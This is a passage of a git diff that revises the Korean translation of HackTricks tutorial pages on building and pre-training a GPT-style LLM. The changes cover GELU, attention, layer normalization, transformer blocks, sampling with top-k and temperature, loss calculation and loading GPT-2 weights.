LLM의 아키텍처를 개발하는 것**입니다. 모든 것을 결합하고, 모든 레이어를 적용하며, 텍스트를 생성하거나 텍스트를 ID로 변환하고 다시 변환하는 모든 기능을 만듭니다. +> 이 다섯 번째 단계의 목표는 매우 간단합니다: **전체 LLM의 아키텍처를 개발하는 것**입니다. 모든 것을 결합하고, 모든 레이어를 적용하며, 텍스트를 생성하거나 텍스트를 ID로 변환하고 그 반대로 변환하는 모든 기능을 만듭니다. > -> 이 아키텍처는 훈련 후 텍스트를 훈련하고 예측하는 데 사용됩니다. +> 이 아키텍처는 훈련 후 텍스트를 예측하는 데 사용됩니다. LLM 아키텍처 예시는 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb)에서 확인할 수 있습니다: @@ -213,13 +213,13 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) * #### **목적 및 기능** - **GELU (가우시안 오류 선형 단위):** 모델에 비선형성을 도입하는 활성화 함수입니다. -- **부드러운 활성화:** 음수 입력을 0으로 만드는 ReLU와 달리, GELU는 음수 입력에 대해 작고 비영인 값을 허용하며 입력을 출력으로 부드럽게 매핑합니다. +- **부드러운 활성화:** 음수 입력을 0으로 만드는 ReLU와 달리, GELU는 음수 입력에 대해 작고 0이 아닌 값을 허용하며 입력을 출력으로 부드럽게 매핑합니다. - **수학적 정의:**
> [!TIP] -> FeedForward 레이어 내의 선형 레이어 후 이 함수를 사용하는 목적은 선형 데이터를 비선형으로 변경하여 모델이 복잡하고 비선형적인 관계를 학습할 수 있도록 하는 것입니다. +> FeedForward 레이어 내의 선형 레이어 후에 이 함수를 사용하는 목적은 선형 데이터를 비선형으로 변경하여 모델이 복잡하고 비선형적인 관계를 학습할 수 있도록 하는 것입니다. ### **FeedForward 신경망** @@ -252,7 +252,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim) - **두 번째 선형 레이어:** 차원을 다시 `emb_dim`으로 줄입니다. > [!TIP] -> 보시다시피, Feed Forward 네트워크는 3개의 레이어를 사용합니다. 첫 번째는 선형 레이어로, 선형 가중치(모델 내부에서 훈련할 매개변수)를 사용하여 차원을 4배로 곱합니다. 그런 다음, GELU 함수가 모든 차원에서 사용되어 더 풍부한 표현을 포착하기 위해 비선형 변화를 적용하고, 마지막으로 또 다른 선형 레이어가 원래 차원 크기로 되돌리기 위해 사용됩니다. +> 보시다시피, Feed Forward 네트워크는 3개의 레이어를 사용합니다. 첫 번째는 선형 레이어로, 선형 가중치(모델 내부에서 훈련할 매개변수)를 사용하여 차원을 4배로 곱합니다. 그런 다음, GELU 함수가 모든 차원에서 사용되어 더 풍부한 표현을 포착하기 위한 비선형 변화를 적용하고, 마지막으로 또 다른 선형 레이어가 원래 차원 크기로 되돌리기 위해 사용됩니다. ### **다중 헤드 주의 메커니즘** @@ -264,8 +264,8 @@ return x # Output shape: (batch_size, seq_len, emb_dim) - **주요 구성 요소:** - **쿼리, 키, 값:** 입력의 선형 프로젝션으로, 주의 점수를 계산하는 데 사용됩니다. - **헤드:** 병렬로 실행되는 여러 주의 메커니즘(`num_heads`), 각기 축소된 차원(`head_dim`)을 가집니다. -- **주의 점수:** 쿼리와 키의 내적(dot product)으로 계산되며, 스케일링 및 마스킹됩니다. -- **마스킹:** 모델이 미래의 토큰에 주의를 기울이지 않도록 하는 인과적 마스크가 적용됩니다(자기 회귀 모델인 GPT에 중요). +- **주의 점수:** 쿼리와 키의 내적을 계산하여 스케일링 및 마스킹합니다. +- **마스킹:** 모델이 미래의 토큰에 주의를 기울이지 않도록 하는 인과 마스크가 적용됩니다(자기 회귀 모델인 GPT에 중요). - **주의 가중치:** 마스킹되고 스케일된 주의 점수의 소프트맥스입니다. - **컨텍스트 벡터:** 주의 가중치에 따라 값의 가중 합입니다. - **출력 프로젝션:** 모든 헤드의 출력을 결합하는 선형 레이어입니다. @@ -273,7 +273,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim) > [!TIP] > 이 네트워크의 목표는 동일한 컨텍스트 내에서 토큰 간의 관계를 찾는 것입니다. 또한, 토큰은 과적합을 방지하기 위해 서로 다른 헤드로 나뉘지만, 각 헤드에서 발견된 최종 관계는 이 네트워크의 끝에서 결합됩니다. > -> 또한, 훈련 중에는 **인과적 마스크**가 적용되어 특정 토큰에 대한 관계를 찾을 때 이후의 토큰이 고려되지 않으며, **과적합 방지**를 위해 일부 **드롭아웃**도 적용됩니다. +> 또한, 훈련 중에 **인과 마스크**가 적용되어 나중의 토큰이 특정 토큰과의 관계를 찾을 때 고려되지 않으며, **과적합을 방지하기 위해** 일부 **드롭아웃**도 적용됩니다. ### **레이어** 정규화 ```python @@ -293,20 +293,20 @@ return self.scale * norm_x + self.shift ``` #### **목적 및 기능** -- **레이어 정규화:** 배치의 각 개별 예제에 대해 특징(임베딩 차원) 전반에 걸쳐 입력을 정규화하는 데 사용되는 기술입니다. +- **Layer Normalization:** 배치의 각 개별 예제에 대해 특징(임베딩 차원) 전반에 걸쳐 입력을 정규화하는 데 사용되는 기술입니다. - **구성 요소:** - **`eps`:** 정규화 중 0으로 나누는 것을 방지하기 위해 분산에 추가되는 작은 상수(`1e-5`)입니다. - **`scale` 및 `shift`:** 정규화된 출력을 스케일하고 이동할 수 있도록 하는 학습 가능한 매개변수(`nn.Parameter`)입니다. 각각 1과 0으로 초기화됩니다. - **정규화 과정:** -- **평균 계산(`mean`):** 임베딩 차원(`dim=-1`)을 따라 입력 `x`의 평균을 계산하며, 브로드캐스팅을 위해 차원을 유지합니다(`keepdim=True`). -- **분산 계산(`var`):** 임베딩 차원에 따라 `x`의 분산을 계산하며, 차원도 유지합니다. `unbiased=False` 매개변수는 분산이 편향 추정기를 사용하여 계산되도록 보장합니다(샘플이 아닌 특징에 대해 정규화할 때 적합한 `N`으로 나누기). +- **평균 계산(`mean`):** 임베딩 차원(`dim=-1`)에 걸쳐 입력 `x`의 평균을 계산하며, 브로드캐스팅을 위해 차원을 유지합니다(`keepdim=True`). +- **분산 계산(`var`):** 임베딩 차원에 걸쳐 `x`의 분산을 계산하며, 차원을 유지합니다. `unbiased=False` 매개변수는 분산이 편향 추정기를 사용하여 계산되도록 보장합니다(샘플이 아닌 특징에 대해 정규화할 때 적합한 `N`으로 나누기). - **정규화(`norm_x`):** `x`에서 평균을 빼고 분산에 `eps`를 더한 값의 제곱근으로 나눕니다. - **스케일 및 이동:** 정규화된 출력에 학습 가능한 `scale` 및 `shift` 매개변수를 적용합니다. > [!TIP] -> 목표는 동일한 토큰의 모든 차원에서 평균이 0이고 분산이 1이 되도록 하는 것입니다. 이는 **딥 뉴럴 네트워크의 훈련을 안정화**하기 위해 내부 공변량 이동을 줄이는 것을 목표로 하며, 이는 훈련 중 매개변수 업데이트로 인해 네트워크 활성화의 분포가 변화하는 것을 의미합니다. +> 목표는 동일한 토큰의 모든 차원에서 평균이 0이고 분산이 1이 되도록 하는 것입니다. 이는 **딥 뉴럴 네트워크의 훈련을 안정화**하기 위해 내부 공변량 이동을 줄이는 것을 목표로 하며, 이는 훈련 중 매개변수 업데이트로 인한 네트워크 활성화의 분포 변화와 관련이 있습니다. -### **트랜스포머 블록** +### **Transformer Block** _행렬의 형태를 더 잘 이해하기 위해 주석으로 추가되었습니다:_ ```python @@ -350,9 +350,9 @@ return x # Output shape: (batch_size, seq_len, emb_dim) ``` #### **목적 및 기능** -- **층 구성:** 다중 헤드 주의, 피드포워드 네트워크, 층 정규화 및 잔여 연결을 결합합니다. +- **층의 구성:** 다중 헤드 주의, 피드포워드 네트워크, 층 정규화 및 잔여 연결을 결합합니다. - **층 정규화:** 안정적인 훈련을 위해 주의 및 피드포워드 층 전에 적용됩니다. -- **잔여 연결 (단축키):** 층의 입력을 출력에 추가하여 그래디언트 흐름을 개선하고 깊은 네트워크의 훈련을 가능하게 합니다. +- **잔여 연결 (단축):** 층의 입력을 출력에 추가하여 그래디언트 흐름을 개선하고 깊은 네트워크의 훈련을 가능하게 합니다. - **드롭아웃:** 정규화를 위해 주의 및 피드포워드 층 후에 적용됩니다. #### **단계별 기능** @@ -372,9 +372,9 @@ return x # Output shape: (batch_size, seq_len, emb_dim) > [!TIP] > 변환기 블록은 모든 네트워크를 함께 그룹화하고 훈련 안정성과 결과를 개선하기 위해 일부 **정규화** 및 **드롭아웃**을 적용합니다.\ -> 드롭아웃이 각 네트워크 사용 후에 수행되는 반면 정규화는 이전에 적용된다는 점에 유의하십시오. +> 드롭아웃이 각 네트워크 사용 후에 수행되고 정규화가 이전에 적용되는 방식을 주목하세요. > -> 또한, **네트워크의 출력을 입력에 추가하는** 단축키를 사용합니다. 이는 초기 층이 마지막 층만큼 "많이" 기여하도록 하여 소실 그래디언트 문제를 방지하는 데 도움이 됩니다. +> 또한, **네트워크의 출력을 입력과 더하는** 단축을 사용합니다. 이는 초기 층이 마지막 층만큼 "많이" 기여하도록 하여 소실 그래디언트 문제를 방지하는 데 도움이 됩니다. ### **GPTModel** @@ -446,13 +446,13 @@ return logits # Output shape: (batch_size, seq_len, vocab_size) > [!TIP] > 이 클래스의 목표는 **시퀀스에서 다음 토큰을 예측하기 위해** 언급된 모든 다른 네트워크를 사용하는 것입니다. 이는 텍스트 생성과 같은 작업에 기본적입니다. > -> 얼마나 많은 트랜스포머 블록이 사용될 것인지 **명시된 대로** 사용할 것인지 주목하십시오. 각 트랜스포머 블록은 하나의 멀티 헤드 어텐션 네트워크, 하나의 피드 포워드 네트워크 및 여러 정규화를 사용합니다. 따라서 12개의 트랜스포머 블록이 사용되면 이를 12로 곱합니다. +> 얼마나 많은 트랜스포머 블록이 사용될 것인지 **명시된 대로** 사용할 것인지 주목하십시오. 각 트랜스포머 블록은 하나의 다중 헤드 주의 네트워크, 하나의 피드 포워드 네트워크 및 여러 정규화를 사용합니다. 따라서 12개의 트랜스포머 블록이 사용되면 이를 12로 곱합니다. > -> 또한, **출력** 전에 **정규화** 레이어가 추가되고, 마지막에 적절한 차원의 결과를 얻기 위해 최종 선형 레이어가 적용됩니다. 각 최종 벡터의 크기가 사용된 어휘의 크기와 같다는 점에 유의하십시오. 이는 어휘 내의 가능한 각 토큰에 대한 확률을 얻으려 하기 때문입니다. +> 또한, **출력** 전에 **정규화** 레이어가 추가되고, 마지막에 적절한 차원의 결과를 얻기 위해 최종 선형 레이어가 적용됩니다. 각 최종 벡터의 크기가 사용된 어휘의 크기와 같다는 점에 유의하십시오. 이는 어휘 내의 가능한 각 토큰에 대한 확률을 얻으려는 것입니다. ## 훈련할 매개변수 수 -GPT 구조가 정의되면 훈련할 매개변수 수를 파악할 수 있습니다: +GPT 구조가 정의되면 훈련할 매개변수 수를 알아낼 수 있습니다: ```python GPT_CONFIG_124M = { "vocab_size": 50257, # Vocabulary size @@ -668,4 +668,4 @@ print("Output length:", len(out[0])) - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md b/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md index 9417fbde7..f7cd2f795 100644 --- a/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md +++ b/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md @@ -1,10 +1,10 @@ # 6. Pre-training & Loading models -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Text Generation -모델을 훈련하기 위해서는 해당 모델이 새로운 토큰을 생성할 수 있어야 합니다. 그런 다음 생성된 토큰을 예상된 토큰과 비교하여 모델이 **생성해야 할 토큰을 학습하도록** 합니다. +모델을 훈련하기 위해서는 해당 모델이 새로운 토큰을 생성할 수 있어야 합니다. 그런 다음 생성된 토큰을 예상된 토큰과 비교하여 모델이 **생성해야 할 토큰을 학습하도록** 훈련합니다. 이전 예제에서 이미 일부 토큰을 예측했으므로, 이 목적을 위해 해당 기능을 재사용할 수 있습니다. @@ -15,12 +15,12 @@ 올바른 훈련을 수행하기 위해서는 예상된 토큰에 대해 얻은 예측을 측정해야 합니다. 훈련의 목표는 올바른 토큰의 가능성을 극대화하는 것으로, 이는 다른 토큰에 비해 그 확률을 증가시키는 것을 포함합니다. -올바른 토큰의 확률을 극대화하기 위해서는 모델의 가중치를 수정하여 그 확률이 극대화되도록 해야 합니다. 가중치의 업데이트는 **역전파**를 통해 이루어집니다. 이는 **극대화할 손실 함수**가 필요합니다. 이 경우, 함수는 **수행된 예측과 원하는 예측 간의 차이**가 됩니다. +올바른 토큰의 확률을 극대화하기 위해서는 모델의 가중치를 수정하여 그 확률이 극대화되어야 합니다. 가중치의 업데이트는 **역전파**를 통해 이루어집니다. 이는 **극대화할 손실 함수**가 필요합니다. 이 경우, 함수는 **수행된 예측과 원하는 예측 간의 차이**가 됩니다. 그러나 원시 예측으로 작업하는 대신, n을 밑으로 하는 로그로 작업합니다. 따라서 예상된 토큰의 현재 예측이 7.4541e-05라면, **7.4541e-05**의 자연 로그(밑 *e*)는 대략 **-9.5042**입니다.\ -그런 다음, 예를 들어 5개의 토큰으로 구성된 컨텍스트 길이를 가진 각 항목에 대해 모델은 5개의 토큰을 예측해야 하며, 첫 4개의 토큰은 입력의 마지막 토큰이고 다섯 번째는 예측된 토큰입니다. 따라서 각 항목에 대해 5개의 예측이 있으며(첫 4개가 입력에 있었더라도 모델은 이를 알지 못함) 5개의 예상 토큰이 있으므로 5개의 확률을 극대화해야 합니다. +그런 다음, 예를 들어 5개의 토큰의 컨텍스트 길이를 가진 각 항목에 대해 모델은 5개의 토큰을 예측해야 하며, 첫 4개의 토큰은 입력의 마지막 것이고 다섯 번째는 예측된 것입니다. 따라서 각 항목에 대해 5개의 예측이 있게 됩니다(첫 4개가 입력에 있었더라도 모델은 이를 알지 못합니다)와 5개의 예상 토큰이 있으며 따라서 극대화할 5개의 확률이 있습니다. -따라서 각 예측에 자연 로그를 수행한 후, **평균**이 계산되고, **마이너스 기호가 제거**됩니다(이를 _교차 엔트로피 손실_이라고 함) 그리고 이는 **0에 최대한 가깝게 줄여야 할 숫자**입니다. 왜냐하면 1의 자연 로그는 0이기 때문입니다: +따라서 각 예측에 자연 로그를 수행한 후, **평균**이 계산되고, **마이너스 기호가 제거**됩니다(이를 _교차 엔트로피 손실_이라고 함) 그리고 그것이 **0에 최대한 가깝게 줄여야 할 숫자**입니다. 왜냐하면 1의 자연 로그는 0이기 때문입니다:

https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233

@@ -529,7 +529,7 @@ torch.save({ ``` ### Functions to transform text <--> ids -이것은 어휘의 텍스트를 ID로 변환하고 그 반대로 변환하는 데 사용할 수 있는 몇 가지 간단한 함수입니다. 이는 텍스트 처리의 시작과 예측의 끝에서 필요합니다: +이것은 어휘에서 텍스트를 ID로, 그리고 그 반대로 변환하는 데 사용할 수 있는 몇 가지 간단한 함수입니다. 이는 텍스트 처리의 시작과 예측의 끝에서 필요합니다: ```python # Functions to transform from tokens to ids and from to ids to tokens def text_to_token_ids(text, tokenizer): @@ -543,14 +543,14 @@ return tokenizer.decode(flat.tolist()) ``` ### 텍스트 생성 함수 -이전 섹션에서는 **가장 가능성이 높은 토큰**을 로짓을 얻은 후에 가져오는 함수가 있었습니다. 그러나 이는 각 입력에 대해 항상 동일한 출력이 생성된다는 것을 의미하며, 이는 매우 결정적입니다. +이전 섹션에서는 **가장 가능성이 높은 토큰**을 로짓을 얻은 후에 가져오는 함수가 있었습니다. 그러나 이는 각 입력에 대해 항상 동일한 출력을 생성하게 되어 매우 결정적입니다. 다음 `generate_text` 함수는 `top-k`, `temperature` 및 `multinomial` 개념을 적용합니다. -- **`top-k`**는 상위 k개의 토큰을 제외한 모든 토큰의 확률을 `-inf`로 줄이기 시작한다는 것을 의미합니다. 따라서 k=3인 경우, 결정을 내리기 전에 가장 가능성이 높은 3개의 토큰만 `-inf`와 다른 확률을 가집니다. +- **`top-k`**는 상위 k개의 토큰을 제외한 모든 토큰의 확률을 `-inf`로 줄이기 시작한다는 것을 의미합니다. 따라서 k=3인 경우, 결정을 내리기 전에 가장 가능성이 높은 3개의 토큰만 `-inf`가 아닌 확률을 가집니다. - **`temperature`**는 모든 확률이 온도 값으로 나누어진다는 것을 의미합니다. 값이 `0.1`이면 가장 높은 확률이 가장 낮은 확률에 비해 개선되며, 예를 들어 온도가 `5`이면 더 평평해집니다. 이는 LLM이 가지길 원하는 응답의 변화를 개선하는 데 도움이 됩니다. -- 온도를 적용한 후, 모든 남은 토큰이 총 확률 1을 가지도록 **`softmax`** 함수가 다시 적용됩니다. -- 마지막으로, 가장 큰 확률을 가진 토큰을 선택하는 대신, 함수 **`multinomial`**이 **최종 확률에 따라 다음 토큰을 예측하는 데 적용됩니다**. 따라서 토큰 1이 70%의 확률을 가졌다면, 토큰 2는 20%, 토큰 3은 10%의 확률을 가지며, 70%의 경우 토큰 1이 선택되고, 20%의 경우 토큰 2가 선택되며, 10%의 경우는 토큰 3이 선택됩니다. +- 온도를 적용한 후, **`softmax`** 함수가 다시 적용되어 남아 있는 모든 토큰의 총 확률이 1이 되도록 합니다. +- 마지막으로, 가장 큰 확률을 가진 토큰을 선택하는 대신, 함수 **`multinomial`**이 **최종 확률에 따라 다음 토큰을 예측하는 데 적용됩니다**. 따라서 토큰 1이 70%의 확률을 가졌다면, 토큰 2는 20%, 토큰 3은 10%의 확률을 가지며, 70%의 경우 토큰 1이 선택되고, 20%의 경우 토큰 2가, 10%의 경우 토큰 3이 선택됩니다. ```python # Generate text function def generate_text(model, idx, max_new_tokens, context_size, temperature=0.0, top_k=None, eos_id=None): @@ -592,19 +592,19 @@ idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1) return idx ``` > [!TIP] -> `top-k`의 일반적인 대안으로 [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling)라는 것이 있으며, 이는 핵심 샘플링으로도 알려져 있습니다. 이는 가장 높은 확률을 가진 k 샘플을 얻는 대신, 결과로 나온 모든 **어휘**를 확률에 따라 정리하고 **가장 높은 확률에서 가장 낮은 확률까지** 합산하여 **임계값에 도달할 때까지** 진행합니다. +> `top-k`의 일반적인 대안은 [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling)로, 핵심 샘플링이라고도 하며, 가장 높은 확률을 가진 k 샘플을 얻는 대신, 결과로 나온 **어휘**를 확률에 따라 정리하고 **가장 높은 확률부터 가장 낮은 확률까지 합산**하여 **임계값에 도달할 때까지** 진행합니다. > -> 그런 다음, **어휘의 단어들만** 상대 확률에 따라 고려됩니다. +> 그런 다음, **상대 확률**에 따라 어휘의 **단어들만** 고려됩니다. > > 이는 각 경우에 따라 최적의 k가 다를 수 있으므로 `k` 샘플의 수를 선택할 필요 없이 **오직 임계값만** 필요하게 합니다. > -> _이 개선 사항은 이전 코드에 포함되어 있지 않습니다._ +> _이 개선 사항은 이전 코드에 포함되어 있지 않음을 유의하세요._ > [!TIP] > 생성된 텍스트를 개선하는 또 다른 방법은 이 예제에서 사용된 탐욕적 검색 대신 **Beam search**를 사용하는 것입니다.\ -> 탐욕적 검색과 달리, 각 단계에서 가장 확률이 높은 다음 단어를 선택하고 단일 시퀀스를 구축하는 대신, **beam search는 각 단계에서 상위 𝑘 k의 점수가 높은 부분 시퀀스**(이것을 "beams"라고 함)를 추적합니다. 여러 가능성을 동시에 탐색함으로써 효율성과 품질의 균형을 맞추어, 탐욕적 접근 방식으로 인해 조기 비최적 선택으로 놓칠 수 있는 **더 나은 전체** 시퀀스를 찾을 가능성을 높입니다. +> 탐욕적 검색과 달리, 각 단계에서 가장 확률이 높은 다음 단어를 선택하고 단일 시퀀스를 구축하는 대신, **beam search는 각 단계에서 상위 𝑘 k의 점수가 높은 부분 시퀀스**(이른바 "beams")를 추적합니다. 여러 가능성을 동시에 탐색함으로써 효율성과 품질의 균형을 맞추어, 탐욕적 접근 방식으로 인해 조기 비최적 선택으로 놓칠 수 있는 **더 나은 전체** 시퀀스를 찾을 가능성을 높입니다. > -> _이 개선 사항은 이전 코드에 포함되어 있지 않습니다._ +> _이 개선 사항은 이전 코드에 포함되어 있지 않음을 유의하세요._ ### Loss functions @@ -637,11 +637,11 @@ break return total_loss / num_batches ``` > [!TIP] -> **그래디언트 클리핑**은 **훈련 안정성**을 향상시키기 위해 큰 신경망에서 사용되는 기술로, 그래디언트 크기에 대한 **최대 임계값**을 설정합니다. 그래디언트가 이 미리 정의된 `max_norm`을 초과하면, 모델의 매개변수에 대한 업데이트가 관리 가능한 범위 내에 유지되도록 비례적으로 축소되어, 그래디언트 폭발과 같은 문제를 방지하고 보다 통제되고 안정적인 훈련을 보장합니다. +> **그래디언트 클리핑**은 **훈련 안정성**을 향상시키기 위해 큰 신경망에서 그래디언트 크기에 대한 **최대 임계값**을 설정하는 기술입니다. 그래디언트가 이 미리 정의된 `max_norm`을 초과하면, 모델의 매개변수에 대한 업데이트가 관리 가능한 범위 내에 유지되도록 비례적으로 축소되어 폭발하는 그래디언트와 같은 문제를 방지하고 보다 통제되고 안정적인 훈련을 보장합니다. > -> _이 개선 사항은 이전 코드에 포함되어 있지 않음을 유의하세요._ +> _이 개선 사항은 이전 코드에 포함되어 있지 않음을 유의하십시오._ > -> 다음 예제를 확인하세요: +> 다음 예제를 확인하십시오:
@@ -649,15 +649,15 @@ return total_loss / num_batches 함수 `create_dataloader_v1`와 `create_dataloader_v1`는 이전 섹션에서 이미 논의되었습니다. -여기서 90%의 텍스트가 훈련에 사용되고 10%가 검증에 사용된다는 점을 주목하세요. 두 세트는 2개의 서로 다른 데이터 로더에 저장됩니다.\ +여기서 90%의 텍스트가 훈련에 사용되고 10%가 검증에 사용된다는 점을 주목하십시오. 두 세트는 2개의 서로 다른 데이터 로더에 저장됩니다.\ 때때로 데이터 세트의 일부는 모델 성능을 더 잘 평가하기 위해 테스트 세트로 남겨지기도 합니다. -두 데이터 로더는 동일한 배치 크기, 최대 길이, 스트라이드 및 작업자 수(이 경우 0)를 사용합니다.\ +두 데이터 로더는 동일한 배치 크기, 최대 길이, 스트라이드 및 작업자 수(이 경우 0)를 사용하고 있습니다.\ 주요 차이점은 각 데이터 로더에서 사용하는 데이터이며, 검증자는 마지막 데이터를 버리지 않으며 검증 목적에 필요하지 않기 때문에 데이터를 섞지 않습니다. -또한 **스트라이드가 컨텍스트 길이만큼 크다는** 사실은 훈련 데이터에 사용되는 컨텍스트 간에 겹침이 없음을 의미합니다(과적합을 줄이지만 훈련 데이터 세트도 줄어듭니다). +또한 **스트라이드가 컨텍스트 길이만큼 크다는** 것은 훈련 데이터에 사용되는 컨텍스트 간에 겹침이 없음을 의미합니다(과적합을 줄이지만 훈련 데이터 세트도 줄입니다). -더욱이, 이 경우 배치 크기는 2로 데이터를 2개의 배치로 나누며, 이의 주요 목표는 병렬 처리를 허용하고 배치당 소비를 줄이는 것입니다. +더욱이, 이 경우 배치 크기가 2로 설정되어 데이터를 2개의 배치로 나누며, 이의 주요 목표는 병렬 처리를 허용하고 배치당 소비를 줄이는 것입니다. ```python train_ratio = 0.90 split_idx = int(train_ratio * len(text_data)) @@ -723,7 +723,7 @@ print("All tokens:", train_tokens + val_tokens) ``` ### 훈련 및 사전 계산을 위한 장치 선택 -다음 코드는 사용할 장치를 선택하고 훈련 손실 및 검증 손실(아직 아무것도 훈련하지 않은 상태에서)을 시작점으로 계산합니다. +다음 코드는 사용할 장치를 선택하고 훈련 손실 및 검증 손실을 계산합니다(아직 아무것도 훈련하지 않은 상태에서) 시작점으로 삼습니다. ```python # Indicate the device to use @@ -760,9 +760,9 @@ print("Validation loss:", val_loss) - 검증자 로더 - 훈련 중 사용할 **최적화기**: 이는 그래디언트를 사용하고 손실을 줄이기 위해 매개변수를 업데이트하는 함수입니다. 이 경우, 보시다시피 `AdamW`가 사용되지만 더 많은 것이 있습니다. - `optimizer.zero_grad()`는 각 라운드에서 그래디언트를 재설정하기 위해 호출되어 누적되지 않도록 합니다. -- **`lr`** 매개변수는 **학습률**로, 모델의 매개변수를 업데이트할 때 최적화 과정에서 **취하는 단계의 크기**를 결정합니다. **작은** 학습률은 최적화기가 가중치에 **더 작은 업데이트**를 하게 하여 더 **정확한** 수렴을 이끌 수 있지만 훈련 속도를 **느리게** 할 수 있습니다. **큰** 학습률은 훈련 속도를 높일 수 있지만 손실 함수의 최소값을 **넘어버릴 위험**이 있습니다(**손실 함수가 최소화되는 지점을 넘어 점프**). -- **Weight Decay**는 큰 가중치에 패널티를 부여하는 추가 항을 추가하여 **손실 계산** 단계를 수정합니다. 이는 최적화기가 데이터에 잘 맞추면서 모델을 단순하게 유지하여 머신러닝 모델에서 과적합을 방지하기 위해 어떤 단일 특성에 너무 많은 중요성을 부여하지 않도록 유도합니다. -- SGD와 같은 전통적인 최적화기는 L2 정규화와 함께 가중치 감소를 손실 함수의 그래디언트와 결합합니다. 그러나 **AdamW**(Adam 최적화기의 변형)는 가중치 감소를 그래디언트 업데이트와 분리하여 더 효과적인 정규화를 이끌어냅니다. +- **`lr`** 매개변수는 **학습률**로, 모델의 매개변수를 업데이트할 때 최적화 과정에서 **취하는 단계의 크기**를 결정합니다. **작은** 학습률은 최적화기가 **가중치에 대한 작은 업데이트**를 수행하게 하여 더 **정확한** 수렴을 이끌 수 있지만 훈련 속도를 **느리게** 할 수 있습니다. **큰** 학습률은 훈련 속도를 높일 수 있지만 손실 함수의 최소값을 **넘어버릴 위험**이 있습니다(**손실 함수가 최소화되는 지점을 넘어 점프**). +- **Weight Decay**는 큰 가중치에 대해 패널티를 부여하는 추가 항을 추가하여 **손실 계산** 단계를 수정합니다. 이는 최적화기가 데이터에 잘 맞추면서 모델을 단순하게 유지하여 머신러닝 모델에서 과적합을 방지하기 위해 어떤 단일 특성에 너무 많은 중요성을 부여하지 않도록 유도합니다. +- L2 정규화가 있는 SGD와 같은 전통적인 최적화기는 손실 함수의 그래디언트와 함께 가중치 감소를 결합합니다. 그러나 **AdamW**(Adam 최적화기의 변형)는 가중치 감소를 그래디언트 업데이트와 분리하여 더 효과적인 정규화를 이끌어냅니다. - 훈련에 사용할 장치 - 에포크 수: 훈련 데이터를 반복하는 횟수 - 평가 빈도: `evaluate_model`을 호출하는 빈도 @@ -832,7 +832,7 @@ model.train() # Back to training model applying all the configurations > [!TIP] > 학습 속도를 개선하기 위해 **선형 워밍업** 및 **코사인 감소**라는 몇 가지 관련 기술이 있습니다. > -> **선형 워밍업**은 초기 학습 속도와 최대 학습 속도를 정의하고 각 에포크 후에 일관되게 업데이트하는 것입니다. 이는 작은 가중치 업데이트로 훈련을 시작하면 모델이 훈련 단계에서 큰 불안정한 업데이트를 만날 위험이 줄어들기 때문입니다.\ +> **선형 워밍업**은 초기 학습 속도와 최대 학습 속도를 정의하고 각 에포크 후에 일관되게 업데이트하는 것입니다. 이는 훈련을 작은 가중치 업데이트로 시작하면 모델이 훈련 단계에서 큰 불안정한 업데이트를 만날 위험이 줄어들기 때문입니다.\ > **코사인 감소**는 **워밍업** 단계 이후에 반 코사인 곡선을 따라 학습 속도를 **점진적으로 줄이는** 기술로, 가중치 업데이트를 느리게 하여 **손실 최소값을 초과할 위험을 최소화**하고 후속 단계에서 훈련의 안정성을 보장합니다. > > _이러한 개선 사항은 이전 코드에 포함되어 있지 않다는 점에 유의하세요._ @@ -933,9 +933,9 @@ model.eval() # Put in eval mode ``` ## GPT2 가중치 로드 -로컬에서 GPT2 가중치를 로드하는 두 개의 간단한 스크립트가 있습니다. 두 경우 모두 [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) 리포지토리를 로컬에 클론한 후: +로컬에서 GPT2 가중치를 로드하는 두 개의 간단한 스크립트가 있습니다. 두 경우 모두 로컬에서 리포지토리 [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch)을 클론할 수 있습니다. 그런 다음: -- 스크립트 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py)는 모든 가중치를 다운로드하고 OpenAI 형식을 우리 LLM에서 기대하는 형식으로 변환합니다. 이 스크립트는 필요한 구성과 프롬프트 "Every effort moves you"로 준비되어 있습니다. +- 스크립트 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py)는 모든 가중치를 다운로드하고 OpenAI의 형식을 우리 LLM에서 기대하는 형식으로 변환합니다. 이 스크립트는 필요한 구성과 프롬프트 "Every effort moves you"로 준비되어 있습니다. - 스크립트 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb)는 로컬에서 GPT2 가중치를 로드할 수 있게 해줍니다(단지 `CHOOSE_MODEL` 변수를 변경하면 됩니다) 그리고 몇 가지 프롬프트에서 텍스트를 예측합니다. ## 참고문헌 @@ -943,4 +943,4 @@ model.eval() # Put in eval mode - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include 